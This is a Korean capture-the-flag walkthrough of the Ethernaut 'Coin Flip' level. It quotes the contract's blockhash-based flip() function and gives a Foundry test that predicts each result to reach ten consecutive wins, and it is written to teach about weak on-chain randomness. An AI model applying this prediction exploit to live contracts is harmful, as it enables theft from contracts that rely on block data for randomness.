Ethernaut Challenge #3 솔루션 — 동전 던지기

과제 #3: 동전 던지기



This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

  • See the Help page above, section "Beyond the console"

Level author(s): Kyle Riley



이 챌린지의 최종 목표는 올바른 추측을 전달하는 flip() 함수를 호출하여 동전 던지기 결과를 연속적으로 추측할 수 있도록 하는 것입니다.

계약 연구



가장 먼저 눈에 띄는 것은 사용된 Solidity 컴파일러 버전이 < 0.8.x 입니다. 이것은 계약이 수학 언더플로 및 오버플로 버그가 발생하기 쉽다는 것을 의미합니다.

이 계약은 OpenZeppelinSafeMath 라이브러리를 가져와서 사용하므로 오버플로우/언더플로우 문제에 대해 안전해야 합니다.

세 가지 상태 변수가 있습니다.
  • consecutiveWinsconstructor에서 0으로 초기화됩니다. 이 변수는 우리가 얼마나 많은 연속 정답을 맞혔는지 계산합니다
  • .
  • FACTOR57896044618658097711785492504343953926634992332820282019728792003956564819968로 선언됩니다. 가스 최적화 팁: 가스를 절약하기 위해 constant로 선언할 수 있습니다(자세한 내용 참조)
  • lastHash 함수에 의해 매번 업데이트되는 flip()

  • 컨트랙트 내부의 유일한 기능은 flip() 입니다. 이것이 무엇을 하는지 봅시다.

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    
        if (lastHash == blockValue) {
            revert();
        }
    
        lastHash = blockValue;
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
    
        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
    


    이 도전을 통해 블록체인에 대한 두 가지 중요한 측면을 배울 수 있습니다.
  • 블록체인의 모든 것은 공개되며 lastHashFACTOR와 같은 비공개 변수도 포함됩니다.
  • 블록체인에는 실제 "네이티브"임의성이 없고 "의사 임의성"만 있습니다
  • .

    참고: 이 두 가지 주제에 대해 자세히 알아보려면 기사의 "추가 정보"섹션에 몇 가지 유용한 링크를 추가했습니다.

    함수의 코드를 보면 다음을 알 수 있습니다.
  • 정확한 _guess 함수 매개변수를 계산하는 방법을 알고 있습니다. _guess = uint256(blockhash(block.number.sub(1))).div(FACTOR) == 1 ? true : false
  • 동일한 블록에서 여러 번flip()을 호출할 수 없다는 것을 알고 있습니다. 그렇지 않으면 기능이 되돌아갑니다. 즉, 챌린지를 통과하려면 최소한 11개의 블록에 대해 정확하게 추측해야 합니다. 공장 계약을 보면 instance.consecutiveWins() >= 10 때 문제가 해결되는 것을 볼 수 있습니다.

  • 그것을 알고 해결책을 보자.

    솔루션 코드




    function exploitLevel() internal override {
    
        vm.startPrank(player);
    
        uint256 factor = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        uint8 consecutiveWinsToReach = 10;
    
        while (level.consecutiveWins() < consecutiveWinsToReach) {
            uint256 blockValue = uint256(blockhash(block.number.sub(1)));
            uint256 coinFlip = blockValue.div(factor);
    
            level.flip(coinFlip == 1 ? true : false);
    
            // simulate a transaction
            utilities.mineBlocks(1);
        }
        vm.stopPrank();
    }
    


    보시다시피 솔루션은 매우 간단합니다. consecutiveWins() getter가 10에 도달했다고 말할 때까지 반복합니다.

    루프 내에서 flip 함수의 동일한 논리를 복제하여 CoinFlip.flip에 전달할 값을 계산합니다.

    호출한 후 utilities.mineBlock(1);를 호출합니다. 이것은 현재 블록 번호를 설정할 수 있는 Foundry 치트 코드vm.roll(targetBlock);를 호출하는 유틸리티 기능입니다. 기본적으로 우리는 새 블록이 생성되었음을 시뮬레이션하기 위해 각 루프 섹션에서 블록 번호를 늘리는 것입니다.

    챌린지 오프닝의 전체 솔루션을 읽을 수 있습니다CoinFlip.t.sol.

    추가 자료


  • SWC-120: Weak Sources of Randomness from Chain Attributes
  • SWC-136: Unencrypted Private Data On-Chain

  • Chainlink VRF (Verifiable Random Function) : 입증 가능하게 공정하고 검증 가능한 난수 생성기(RNG)
  • Foundry Book Cheat codes

  • 부인 성명



    이 리포지토리의 모든 Solidity 코드, 관행 및 패턴은 DAMN VULNERABLE이며 교육 목적으로만 사용됩니다.

    나는 어떠한 보증도 하지 않으며 이 코드베이스의 사용으로 인해 발생하는 손실에 대해 책임을 지지 않습니다.

    생산에 사용하지 마십시오.

    좋은 웹페이지 즐겨찾기